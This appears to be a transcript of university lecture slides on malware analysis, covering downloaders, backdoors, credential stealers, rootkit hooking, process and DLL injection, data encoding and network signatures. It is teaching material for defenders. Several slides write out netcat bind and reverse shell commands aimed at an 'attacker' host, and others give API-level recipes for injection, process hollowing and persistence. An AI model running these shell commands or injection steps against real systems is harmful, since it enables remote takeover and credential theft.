/
Part 4: Malware Functionality Part 4: Malware Functionality

Part 4: Malware Functionality - PowerPoint Presentation

briana-ranney
briana-ranney . @briana-ranney
Follow
402 views
Uploaded On 2017-01-12

Part 4: Malware Functionality - PPT Presentation

Chapter 11 Malware Behavior Chapter 12 Covert Malware Launching Chapter 13 Data Encoding Chapter 14 Malwarefocused Network Signatures Chapter 11 Malware Behavior Common functionality Downloaders ID: 508851

dll code function malware code dll malware function process windows injection malicious call hook victim attacker address network space

Share:

Link:

Embed:

Download Presentation from below link

Download Presentation The PPT/PDF document "Part 4: Malware Functionality" is the property of its rightful owner. Permission is granted to download and print the materials on this web site for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.


Presentation Transcript

Slide1

Part 4: Malware Functionality

Chapter 11: Malware Behavior

Chapter 12: Covert Malware Launching

Chapter 13: Data Encoding

Chapter 14: Malware-focused Network SignaturesSlide2

Chapter 11: Malware BehaviorSlide3

Common functionality

Downloaders

Backdoors

Credential stealers

Privilege escalation

Covering tracks (

rootkits

)

Persistence mechanismsSlide4

1. Downloaders

Retrieve additional pieces of malware from network to execute

Often packaged with an exploit

In Windows, API call

URLDownloadtoFileA

(or BSD socket calls) to download payload

Followed by call

WinExec

to

executeSlide5

2. Backdoor

Malware that provides attacker with remote access to victim machine

Most common type

of malware

Commonly use outgoing port 80 (HTTP) to blend in with other traffic

Commonly implement

reverse shells (Equifax 2017)

Allow attacker to execute commands as if they were on local system

Examples:

netcat

,

cmd.exe

,

remote access tools (a.k.a. RATs)Slide6

netcat

On computer 1, execute

program

"echo hello"

and redirect output to local

netcat

server on 8888

Connect to computer 1 at 8888 and redirect output to file foo.txt

victim$ echo hello |

nc

–l

8888

attacker$

nc

victim 8888 >foo.txt

attacker$ cat foo.txt

helloSlide7

netcat

Backdoor shell listener

Connecting to shell

victim$

nc

–l

8888

–e /bin/

sh

attacker$

nc

victim 8888Slide8

Connection

Attempt

Attacker

Firewall

Or

NAT

X

nc

–l

8888

–e /bin/

sh

nc victim 8888

Victim

Issues with

firewalls and

NATSlide9

Shoveling a shell

Bypass firewalls and NAT by reversing connection

Have attacker run listener

Victim initiates outgoing connection (e.g. IRC, HTTP)

Connection shovel

Attacker

Firewall

nc attacker 8888 –e /bin/sh

nc –l –p 8888

VictimSlide10

But…

-e eventually dropped from

nc

Not a problem…

victim$ mknod /tmp/bpipe p

victim$ /bin/bash 0</tmp/bpipe | nc attacker 8000 1>/tmp/bpipe

attacker$ nc –nvlp 8000Slide11

Windows reverse shells

cmd.exe

equivalent to

netcat

CreateProcess

Create a socket within process

Tie

stdin

,

stdout

, and

stderr of process to socketMultithreaded version in book using CreateThread and CreatePipeSlide12

Remote access tools

Allow full access to remote administrators

Two methods as before

Victim listens for incoming connections from controller (easy to detect, typically blocked)

Victim beacons outside controller to receive instructions (harder to detect, not blocked)

Example: Poison IvySlide13

3. Credential Stealers

3 main types

Programs that monitor user logins

Programs that dump credentials stored in Windows (e.g. password hashes) that can be attacked off-line

Programs that log keystrokesSlide14

Monitoring user login

Graphical Identification

aNd

Authentication (GINA) for Windows Login

Winlogon

process started

Winlogon

invokes GINA library code (

msgina.dll

)

GINA requests credentials

Supports pluggable authentication methods (local accounts, LDAP, Windows Domain auth, Kerberos, etc.)Slide15

Example: GINA interception

FakeGINA

sits between

Winlogon

and

msgina.dll

(Figure 11-2, p. 235, Loc. 5860)

Exploits

pluggability

for supporting other means of authentication

Configured to run by setting a Windows registry key

HKLM\SOFTWARE\...\Winlogon\GinaDLL set to fsgina.dllWinlogon hijackingwinlogon executesfakegina.dll requests credentialsfakegina.dll passes credentials to msgina.dllLogout function WlxLoggedOutSAS hooked to store credentials (Listing 11-1, p. 235-236, Loc. 5874)Original version called first, before rogue code executedSlide16

Dumping credentials

Password storage

Typically, only hashes of passwords stored

Hash function well-known

Dumping hashes allows dictionary attacks since users with weak passwords subject to brute-force dictionary attacks off-line

Locations of Windows hashes

Security Account Manager (SAM)

Local Security Authority Subsystem Service (LSASS) Slide17

Example: lsass dumping

pwdump

toolkit

Performs DLL injection on

lsass.exe

(Local Security Authority Subsystem Service)

Injects rogue DLL

lsaext.dll

Rogue DLL functions called include

GrabHash

(Listing 11-2, p. 237, Loc. 5906)Loads library samsrv.dll to get SAM functions SamIConnect, SamrQueryInformationUser, and SamIGetPrivateDataLoads library advapi32.dll to get hidden API functions for decrypting credentials (SystemFunction025, SystemFunction027)Must call GetProcAdress to resolve library function locations after they have been loaded at run-timeSimilar methods used in Pass-the-Hash toolkitSlide18

Mimikatz

Automated credential stealing on Windows derived from

pwdump

and PSH toolkits

Also hits lsass.exe

Included in

Metasploit

Dumps memory to find

Passwords in plaintext

Password hashes

Kerberos tickets

Counter-measuresDisable cleartext passwordsUse unique administrator account credentials to limit impact of credential theftPut lsass in protected mode (via registry) with a white-list of processes that are allowed accessHoney-credentials (e.g. Thinkst Canary)Slide19

Logging keystrokes

Records keystrokes so attacker can observe typed data

Kernel-based

keyloggers

Built into keyboard drivers

User-space

keyloggers

Use Windows API to hook I/O functions (

SetWindowsHookEx

) or poll for state of keys (

GetForegroundWindow

and GetAsyncKeyState)Example polling keylogger: (Figure 11-3 and Example 11-4, p. 239, Loc. 5994)Can look for key codes in assembly to identify key loggersSlide20

4. Privilege escalation

Access to important calls such as

TerminateProcess

and

CreateRemoteThread

restricted to administrators

But, most users run as local administrators

Malware uses privilege escalation for those that don't

Exploit vulnerable code to obtain administrator privileges

Many malware frameworks include such exploits (e.g.

http://www.metasploit.com/

)Modify or forge security token of a processMimikatz "Golden Ticket" for KerberosSlide21

Example: SeDebugPrivilege

Use

AdjustTokenPrivileges

Initially used as a tool for system-level debugging

Use any privilege execution vulnerability to set

SeDebugPrivilege

in order to get elevated privileges permanently (Listing 11-6, p. 246, Loc. 6172)Slide22

5. Covering tracks – rootkits

Hide malicious activity and disable critical functions

Most

rootkits

are kernel-mode to run at the same level as anti-virus/anti-malwareSlide23

Some rootkit functions

Disable or modify anti-virus process to prevent proper function

Disable software updates

Hide files, processes, network connections, open file descriptors, resource usage

e.g. hide from

ls

,

ps

, top,

lsof

,

netstatModify boot loaderHave boot loader apply patches to kernel before loadingModify on-disk kernelModify boot loader to allow new kernel to pass integrity checkModify registry to installInstall hooks on boot via run key in registryMust hide key from anti-virus after installationSlide24

Function hooking

Mechanism commonly used by

rootkits

to redirect function calls to injected attack code

Replaces legitimate function with alternative one

Examples:

open, read, close,

fstat

,

lseek

, fork,

mmap, munmap, calloc, malloc, realloc, valloc, vm_allocate, mach_vm_allocate, mach_vm_map, free, execveSlide25

Function hooking

Two general methods

Function table hooking

Run-time data structures that contain function pointers that are invoked during program execution

Hot patching function invocation (inline hooking)

Modify JMP/CALL targets in code

Modify function prologues to add detour to trampolineSlide26

Application code

push <call parms>

call [imp_InternetConnect]

Import Address Table

jmp InternetConnect

jmp InternetAutodial

jmp InternetErrorDlg

InternetConnect()

push ebp

lea ebp, [esp+var_5 8]

sub esp, 29Ch

Function table hooking (IAT)

Import Address Table (IAT) used to call functions in librariesSlide27

IAT hooking

Modify IAT to hijack a DLL call

Load rootkit hook function into memory

Replace target function’s address in the IAT with address of hook function

Hook function invokes original function

Figure 11-4, p. 247, Loc. 6226

Application code

push <call parms>

call [imp_InternetConnect]

Import Address Table

jmp InternetConnect

jmp InternetAutodial

jmp InternetErrorDlg

x

Rootkit Code

InternetConnect()

push ebp

lea ebp, [esp+var_5 8]

sub esp, 29Ch

…Slide28

IAT hooking

Details in book…

Locate import section from IAT

Find

IMAGE_IMPORT_DESCRIPTOR

chunk of DLL that exports that function

Locate

IMAGE_THUNK_DATA

which holds original address of imported function

Replace address in IAT to point to your function and have your function eventually call the originalSlide29

IAT hooking

Detection problems

Legitimate hooking common

Methods such as DLL forwarding makes benign vs. malicious hooks hard to discern

Late binding of IAT

Function addresses sometimes not resolved until called

Reduces amount of initial overhead

But, won’t know what the legitimate values should be!Slide30

Example IAT targets

DLLs commonly used at run-time

kernel32.dll, user32.dll, gui32.dll, advapi.dll

kernel32

loaded into private address space between

0x00010000

and

0x7FFE0000

Example: Hiding files in a directory

Replace

FindFirstFile

(), FindNextFile() in kernel32 to skip rootkit filesOther DLLsDirectX/OpenGL APIs and time functionsTypically hooked to implement cheating in on-line gamesWinsock APIHooked to monitor network trafficSlide31

Example library hook

Hook keyboard/DirectInput APIs to obtain keyboard/mouse events

GetKeyboardState

(),

GetKeyState

(),

GetDeviceState

(),

etc.

SHORT WINAPI

FakeGetAsyncKeyState

(int

vKey

)

{

SHORT

nResult

= 0;

if

(g_bNeedMP) { if (vKey == VK_M) { nResult |= 0x8000; //’M’ pressed g_bNeedMP = FALSE; } } else nResult = RealGetAsyncKeyState(vKey); //...

return nResult;}Slide32

Library hooks in Linux

Late binding and linking via function pointer table

Link upon first invocation of the function by program

Avoids linking a function that a program does not call, avoids linking all functions at load time

Two data structures

Global Offset Table (GOT)

Array for storing addresses of library functions

Uninitialized at start of program

Each entry instead points to code that invokes linker (to resolve address upon first invocation of function)

Linker then replaces itself with actual function address for subsequent invocations of the function

Procedure link table (PLT)

Code in .text section that invokes both the linker and the library function being calledSlide33

GOT[0]:

addr

of .dynamic

GOT[1]:

addr

of

reloc

entries

GOT[2]:

addr

of dynamic linker

GOT[3]: 0x4005b6

# sys startup

GOT[4]: 0x4005c6

#

printf

()=>

plt

GOT[5]: 0x4005d6

# exit()=>

plt

Global offset table (GOT)

Data segment callq 0x4005c0 # call printf()

Code segment# PLT[0]: call dynamic linker 4005a0: pushq *GOT[1]4005a6: jmpq *GOT[2]…# PLT[2]: call printf()4005c0: jmpq *GOT[4]4005c6: pushq $0x14005cb: jmpq 4005a0

Procedure linkage table (PLT)

1

2

3

4

GOT[0]:

addr

of .dynamic

GOT[1]:

addr

of

reloc

entries

GOT[2]:

addr

of dynamic linker

GOT[3]:

0x4005b6

# sys startup

GOT[4]:

&

printf

()

GOT[5]: 0x4005d6

# exit()

Global offset table (GOT)

Data segment

callq 0x4005c0

# call

printf

()

Code segment

# PLT[0]: call dynamic linker

4005a0:

pushq

*GOT[1]

4005a6:

jmpq

*GOT[2]

# PLT[2]: call

printf

()

4005c0:

jmpq

*GOT[4]

4005c6:

pushq

$

0x1

4005cb:

jmpq

4005a0

Procedure linkage table (PLT)

1

2

PLT homework: Corrupt GOT to hijack execution

To linker

To

printfSlide34

Hot-patching invocation (Detours)

Library developed by Microsoft in 1999

G. Hunt, D.

Brubacker

, “Detours: Binary Interception of Win32 Functions”, 3rd USENIX Windows NT Symposium, July 1999.

Instrument and extend existing OS and application functionality simply

A programmer-friendly “feature” of Windows to easily patch functions

Avoids modification of function pointer tables which can be detected by anti-virus/anti-

rootkit

technology

Detours modify function in-lineSlide35

Mechanism

Save initial instructions of function at the entry point

Original bytes of function saved in trampoline

Inject code (detour) to redirect execution to interceptor function (trampoline)

Done by inserting jump instruction into function where original bytes were

Trampoline

Implements 5 replaced bytes of original function

Implements the function you want to execute

jmps

back to original target function plus 5Slide36

Detour details

5-byte function preamble replaced by

jmp

Replaced instructions moved to trampoline

Microsoft intentionally changed preamble to support

Before XP

55 push

ebp

8bec

mov

ebp, espHard to hook since you must disassemble user code to insert detourAfter XP8bff mov edi, edi55 push ebp8bec mov ebp, espEasy to hook, exactly 5 bytesMakes hot patches easySlide37

Detour details

Must know which OS is being used

Must ensure no one else has patched the function already

Must save the instructions being removed by detour

Must ensure code reachable via a relative FAR JMP instruction target calculated at run-time

FAR JMP

Rest of original function

Rootkit code

Removed instructions

FAR JMPSlide38

Detour details

More powerful than IAT hooking

Do not have problems with binding time

Ensures hook is not overwritten by application

IAT (PLT in Linux) calculated upon first invocation

Functions appearing in multiple tables are handled in one step

Code runs no matter how the function is called

Can be used for both kernel and user functionsSlide39

Malware and detours

Commonly used to add malicious functions into existing binaries on disk

Adds a new

.detour

section into PE structure and modifies import address table using

setdll

tool in Detours library

Targets include authentication check, DRM checks, anti-virus code, file system scansSlide40

Detour example

Modify

ZwDeviceIoControlFile

to hide ports

Listing 11-7, p. 248, Loc. 6237: Get pointer to code location of function to insert hook into

eax

Table 11-2, p. 248, Loc. 6253: Define “hook byte” template (detour)

Copy address of hooking function into template (

memcpy

) into 0x10004011

Listing 11-8, p. 249, Loc. 6272: Call to install hook bytes at 0x10004010 into

ZwDeviceIoControlFile callNote: Hook bytes can be installed deep into function to avoid detection Slide41

Mac OS

Similar mechanisms, different names

Stephanie Archibald, “Sierra Had A Little Lamb”, INFILTRATE 2017

https://vimeo.com/215195101

Alternative OS X hooks

NSCreateObjectFileImageFromMemory

NSLinkModule

https://www.cylance.com/en_us/blog/running-executables-on-macos-from-memory.htmlSlide42

6. Persistence mechanisms

Methods to ensure survival of malware on a system

Windows Registry persistence

Trojaning

DLL load-order hijacking, DLL side-loadingSlide43

Windows registry persistence

Common key malware targets

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion

\Run

+ dozens more related to startup process

AppInit_DLLs

Loaded into every process that loads

User32.dll

Stored in

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\

CurrentVersion\WindowsSpace delimited string of DLLs to load upon application invocationSlide44

Windows registry persistence

Common key malware targets

Winlogon

Hooking logged events (logon, logoff, startup, shutdown, lock screen)

\HKLM\SOFTWARE\Microsoft\Windows NT\

CurrentVersion

\

Winlogon

\

When

winlogon.exe

generates an event, Windows checks the Notify registry key above for a DLL that will handle itSvcHost DLLsAll services persist via registrysvchost.exe – generic host process for services that run from DLLs\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\HKLM\System\CurrentControlSet\Services\ServiceNameSlide45

Trojaning

Malware patches binary or library to add its functionality

Example:

Nimda

, Bliss

Append code in existing section or in new section

Change entry point to point to virus code

Virus returns to target program after executionSlide46

typedef

struct

{

unsigned char

e_ident

[EI_NIDENT];

Elf32_Half

e_type

;

Elf32_Half

e_machine

;

Elf32_Word

e_version

;

Elf32_Addr

e_entry

;

Elf32_Off

e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr;

“This member gives the virtual address to which the system first transfers control, thus starting the process”We can change this to point elsewhere (not main() )Trojaning using the ELF headerSlide47

Trojaning DLLs

DllEntryPoint

function tampering

Change code at entry to jump immediately to malicious code

Malicious code performs

pusha

to save all registers in one instruction

Malicious code performs

popa

to restore all registers before returning back to legitimate code

Example

Table 11-1, Listing 11-5, p. 243, Loc. 6085Insert detourInvoke code to force LoadLibrary of msconf32.dll Note: call followed by pop to get pointer to msconf32.dll stringOriginal instructions from entry point executed after popa before jumping back to original codeSlide48

Trojaning DLLs

DLL load-order hijacking

DLL search path in Windows XP (similar to LD_LIBRARY_PATH in Linux)

Directory from which application was loaded

Current directory

System directory (

GetSystemDirectory

function)

16-bit system directory

Windows directory (

GetWindowsDirectory

function)Directories in PATH environment variableRename malicious library and place high in pathSlide49

ExampleSlide50

Trojaning DLLs

DLL side-loading

Windows

SxS

Windows feature for DLL versioning issues

Allow multiple versions of DLL to exist in

filesystem

"side-by-side"

Choose the one used based on the version the application needs

Malware replaces version being used (which may not be visible in the file system)

Counter-measures

Application manifests with library integrity checks to validate DLL importsSlide51

In-class exercise

Lab 11-1Slide52

Chapter 12: Covert Malware

LaunchingSlide53

Covert Launching Methods

Launchers

Process Injection

Process Replacement

Hook Injection

Detours

APC

InjectionSlide54

1. Launchers

Malware that sets itself up for immediate or future covert execution

Often contain malware that is to be executed in a resource section

See previous Lab 11-01

Uses

FindResource

,

LoadResource

, and

SizeofResource

API calls to

extractSlide55

2. Process injection

Inject code into another running process

Bypasses host-based firewalls and process-specific security mechanisms

Force process to call

VirtualAllocEx

, then

WriteProcessMemory

to inject code

Two injection types: DLL injection, direct

injectionSlide56

DLL injection

Force remote process to load a malicious DLL

Most common covert loading technique

Remotely inject code into process that calls

LoadLibrary

OS automatically executes

DllMain

of newly loaded libraries

All actions appear to originate from compromised process

Figure 12-1, p. 255, Loc. 6380Slide57

DLL injection into running

processSlide58

DLL injection

Method #1

CreateToolhelp32Snapshot

,

Process32First

,

Process32Next

API calls to search process list for victim

Get PID of victim and use

OpenProcess

to obtain handle

Allocate space for name of malicious DLL in victim processVirtualAllocEx allocates space in remote process given handleCall WriteProcessMemory to write string into victim process where VirtualAllocEx obtained spaceCall CreateRemoteThread to start a new thread in victimlpStartAddress : starting address of thread (set to address of LoadLibrary)lpParameter : argument for thread (point to above memory that stores name of malicious DLLListing 12-1, Figure 12-2, p. 255-256, Loc. 6403, 6423

J. Richter, “Load Your 32-bit DLL into Another Process’s

Address Space Using INJLIB”, Microsoft Systems Journal/9 No. 5Slide59

DLL injection

Preserving original functionality

Still need original functions to work correctly

Injected DLL often set up to call original DLL to support desired functionality

Interposed between application and real DLL

Example tool

Inject.exe

(

Aphex

)

C:\> inject.exe

winlogon “myrootkit.dll”Slide60

DLL injection

Method #2 using Windows Debug API

Attacker must have Debug programs rights on system

Attach debugger to process

Break when you want to inject

Analyze PE header to find a usable, writable part of memory for code

ReadProcessMemory

to save code that is there

WriteProcessMemory

to write injection code that loads a DLL into memory space

Include

INT 3 at end of injection code for debugger to stop Set EIP to start of injection code and continueBreaks when DLL loaded, restore original state of memory (i.e. remove code to inject DLL)Even easier with a code cave (no need to save memory)Slide61

Communications Technology Lab

Code cave

Code cave

exampleSlide62

Direct code injection

Similar to DLL injection, but write all code into victim process directly

No DLL

Requires custom code that will not disrupt victim process

Often used to inject

shellcode

Mechanism

Allocate space for new thread’s data and code

Write data and code

Create new thread pointing to injected code

VirtualAllocEx

, WriteProcessMemory, and CreateRemoteThreadSlide63

3. Process replacement

Overwrite memory space of running process with malicious executable

Also known as process hollowing, memory-only implants

Allows for almost “file-less” persistence

Disguise malware without risking crashes from partial injectionSlide64

Example

svchost.exe

In assembly

Start

svchost

in suspended state

Pass

CREATE_SUSPENDED

as the

dwCreationFlags

parameter when calling

CreateProcessListing 12-2, p. 258, Loc. 6460In CRelease all memory using ZwUnmapViewOfSectionAllocate memory for malicious code via VirtualAllocExWriteProcessMemory to write malware sectionsSetThreadContext to fix entry point to point to malicious codeResumeThread to initiate malwareBypasses firewalls and intrusion prevention systems since svchost runs many network daemonsListing 12-3, p. 258, Loc. 6479Slide65

Example

Kovter

(2016)

Click-fraud

trojan

whose code is now used for

ransomware

Delivered via phishing e-mail

Malicious JavaScript that hides across several registry keys

Payload adds itself to startup process and performs process hollowing on

regsvr32.exeSlide66

4. Hook injection

Interpose malware using Windows hooks

Hooks used to handle messages and events going to/from applications and operating system

Figure 12-3, p. 259, Loc. 6502

Use malicious hooks to run certain code whenever a particular message is intercepted (i.e. keystrokes)

Use malicious hooks to ensure a particular DLL is loaded in a victim's memory space (i.e. process loaded event)

Types of hooks

Local hooks: observe and manipulate messages internally within process

Remote hooks: observe and manipulate messages destined for a remote processSlide67

Hook examples

Keyboard hooks

Registering hook code using

WH_KEYBOARD

or

WH_KEYBOARD_LL

hook procedure types to implement

keyloggers

Windows hooks

Register hook with

SetWindowsHookEx

to capture window eventsTargeting threads Hooks must determine which thread to attach toMalware implements code to get dwThreadId of victimHook targets often obscure to evade Intrusion Prevention SystemsWH_CBT hook for computer-based training messagesCall SetWindowsHookEx to install hook on remote threadThen, initiate WH_CBT message to force loadListing 12-4, p. 261, Loc. 6545Slide68

5. Detours

See previous chapter

PEView

of detour Figure 12-4, p. 262, Loc. 6580

Example:

MigBot

Detours two kernel functions:

NtDeviceIoControlFile

and

SeAccessCheck

Both are exported and have entries in the PE

headerSlide69

6. APC injection

APC = Asynchronous Procedure Call

Malware using

CreateRemoteThread

easily detected

APC allows for a stealthier way to execute code

Each thread has an APC function queue attached to it

Threads execute all functions in APC queue when in an

alertable

state (i.e. swapped out)

e.g. after calls to

WaitForSingleObjectEx, WaitForMultipleObjectsEx, and SleepExMalware performs APC injection to preempt threads in an alertable state to get immediate execution of their codeTwo formsKernel-mode: APC generated for the system or a driverUser-mode: APC generated for an applicationSlide70

APC injection from user space

One thread can queue a function to be invoked in another via API call

QueueUserAPC

WaitForSingleObjectEx

is the most common call to the Windows API

Listing 12-5, p. 263-264, Loc. 6619

OpenThread

followed by

QueueUserAPC

using

LoadLibraryA

on a malicious DLL (dbnet.dll)Note: calls to CreateToolhelp32Snapshot or ZwQuerySystemInformation, Process32First, Process32Next, Thread32First, and Thread32Next usually precede this snippetSlide71

APC injection from kernel space

Malicious drivers in kernel often would like to execute code in user space

Listing 12-6, p. 264, Loc. 6646

Kernel code to inject an APC into user spaceSlide72

In-class exercise

Lab 12-1, 12-3Slide73

Chapter 13: Data

EncodingSlide74

Data Encoding

Goal

Defeat signature-detection by obfuscating malicious content

Encrypt network communication

Hide command and control location

Hide staging file before transmission

Hide from “strings” analysisSlide75

Data Encoding methods

1. Simple Ciphers

2. Common Cryptographic Algorithms

3. Custom Encoding

4. DecodingSlide76

1. Simple ciphers

Substituation ciphers

Shift/Rotate characters

XOR

Bit-wise XOR of data with a fixed byte or generated byte stream

Figure 13-1, p

. 271, Loc. 6762

For a fixed byte XOR, can brute force all 256 values to

find a PE header

(MZ

)

(Table 13-1, Listing 13-2, p. 272-273, Loc 6795, 6825)Can build a signature on all 256 XORs of a fixed part of file (Table 13-2, p. 273, Loc. 6839)Some malware uses null-preserving XOR to make detection less obvious0x12 opcodes everywhere in Listing 13-1Then Listing 13-3, p. 274, Loc. 6863Decoding loops easy to identify via searching for xor opcodeFigure 13-2, p. 275, Loc. 6894Slide77

Simple ciphers

Base-64

From MIME standard

Represents binary data in an ASCII string format

Binary data converted into one of 64 primary characters

[

a-zA-Z0-9+/] with =

used for padding

Every 3-bytes of binary data is encoded in 4-bytes of Base64 (Figure 13-4, p

. 277, Loc. 6968)

Example:3 byte binary =01001101 01100001 011011104 byte Base64 = 010011 010110 000101 101110TWFu 0 1 2 3 4 5 6 7 8 9 0 A B C D E F G H I J 10 K L M N O P Q R S T 20 U V W X Y Z a b c d 30 e f g h i j k l m n 40 o p q r s t u v w x 50 y z 0 1 2 3 4 5 6 7 60 8 9 + /Slide78

Simple ciphers

Base-64 decoding

Look for a string used as an index table

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Try on-line conversion tools

Caution: Malware can easily modify index table to create custom substitution ciphers very easily (see book example)Slide79

2. Cryptographic ciphers

Drawbacks

Crypto libraries are large and easily detected

Must hide the key for symmetric encryption algorithms

Recognizing encrypted code

Imports include well-known

OpenSSL

or Microsoft functions (Figure 13-9, p. 282, Loc. 7058)

Use of cryptographic constants

DES constants found by FindCrypt2

plugin

in IDA Pro (Figure 13-10, p. 282, Loc. 7079)Or bothKrypto ANALyzer plugin for PEiD (Figure 13-11, p. 283, Loc. 7085)Slide80

Cryptographic ciphers

Recognizing encrypted data

Some malware employs crypto algorithms that do not have constants (RC4, IDEA generate at run-time) or do not rely on libraries

Must search for high-entropy content

IDA Pro

Entropy Plugin

(Figure

13-12, 13-13, p. 284

, 285, Loc. 7110, 7125)Slide81

3. Custom encoding

Look for hints

Trace execution to see suspicious activity in a tight loop

Example: pseudo-random number generation followed by

xor

(Figure 13-14

, p. 287, Loc. 7174)Slide82

4. Decoding

Self-decoding malware

Malware packaged with decoding routine

Tell-tale sign: strings that don't appear in binary file on disk, but appear in debugger

Decrypt by setting a breakpoint directly after decryption routine finishes execution

Malware employing decoding functions

Can sometimes use standard libraries to decode

Python's base64.decodestring() or

PyCrypto's

functions (Listing 13-7, 13-8, 13-9, 13-10 p. 289)

Or programmatically use debugger to re-run malware’s decoding code with chosen parameters

ImmDbg Python example in textbookSlide83

In-class exercise

Lab 13-1Slide84

Chapter 14: Malware-Focused Network

SignaturesSlide85

Networking and Malware

Network Countermeasures

Safely Investigating an Attacker Online

Content-Based Network Countermeasures

Combining Dynamic and Static Analysis Techniques

Understanding the Attacker's

PerspectiveSlide86

1. Network Countermeasures

IP connectivity

Restrict network access using routers and firewalls

DNS

Reroute known malicious domains to an internal host (sinkhole)

Content-filters

Proxies, intrusion detection systems, intrusion prevention systems for intercepting web requests in order to detect or prevent accessSlide87

Network Countermeasures

Mine logs, alerts, and packet captures for forensic information

No risk of infection when performing post-mortem analysis versus actively attempting to run malware

Malware can be programmed to detect

active analysis

Indications of malicious activity

Beacons to malicious sites, especially if done without DNS querySlide88

2. Safely Investigating an Attacker Online

Indirection

Use network

anonymizers

such as Tor to hide yourself

Use a virtual machine and virtual networks running through remote infrastructure (cellular, Amazon EC2, etc)

Open-source Intelligence

Collect IP address and DNS information on suspicious activity

See Regional Internet Registries to find out organizational assignment of IP blocks

Query

whois

records of DNS names to find contact information metadata (domaintools.com)Recon slides in CS 410/510: Web Security class, recon-ng in KaliCautionAttacker can bind payload to victim and disappear if something is amiss when you connectSlide89

3. Content-Based Network Counter-Measures

Intrusion Detection with Snort

Rules that link together elements that must be true to fire

Size of payload, flag fields, specific settings of TCP/IP headers, HTTP headers, content in payload

Table 14-1, p. 299, Loc. 7470: Wefa7e's HTTP User-Agent

Potential Snort rule to detect Wefa7e p. 303, Loc. 7568

But, variants of malware will tweak User-Agent

But…what if? p. 306, Loc. 7660

Could use

regexps

to modify rule, but not a tenable approach in general

Malware intentionally generating false positivesSlide90

4. Combining Dynamic and Static Analysis Techniques

Steganography

in protocols

Attackers mimicking typical web requests

Encoding commands in URLs and HTTP headers

Encoding commands in meta-data of web pages

Malware circumventing intrusion detection filters similar to Tor circumventing censorship filtersSlide91

4. Combining Dynamic and Static Analysis Techniques

Behavioral analysis

Finding

networking code to develop signatures

WinSock API (

WSAStartup

,

getaddrinfo

,

socket

,

connect, send, recv, WSAGetLastError)WinINet API (InternetOpen, InternetConnect, InternetOpenURL, InternetReadFile, InternetWriteFile, HTTPOpenRequest, HTTPQueryInfo, HTTPSendRequest)COM interface (URLDownloadToFile, CoInitialize, CoCreateInstance, Navigate)Finding hard-coded patterns or stable content to create rulesReverse-engineering encoding or decoding scheme allows for accurate network signature generationSlide92

5. Understanding the Attacker’s Perspective

Attackers will mutate payloads to avoid detection

Focus on elements that are part of both endpoints

Focus on elements of protocol known to be part of a key (see above)

Operate at a level that is different than other defenders (so that an attacker side-stepping another filter will not affect yours)

Defense-in-depthSlide93

In-class exercise

Lab 14-1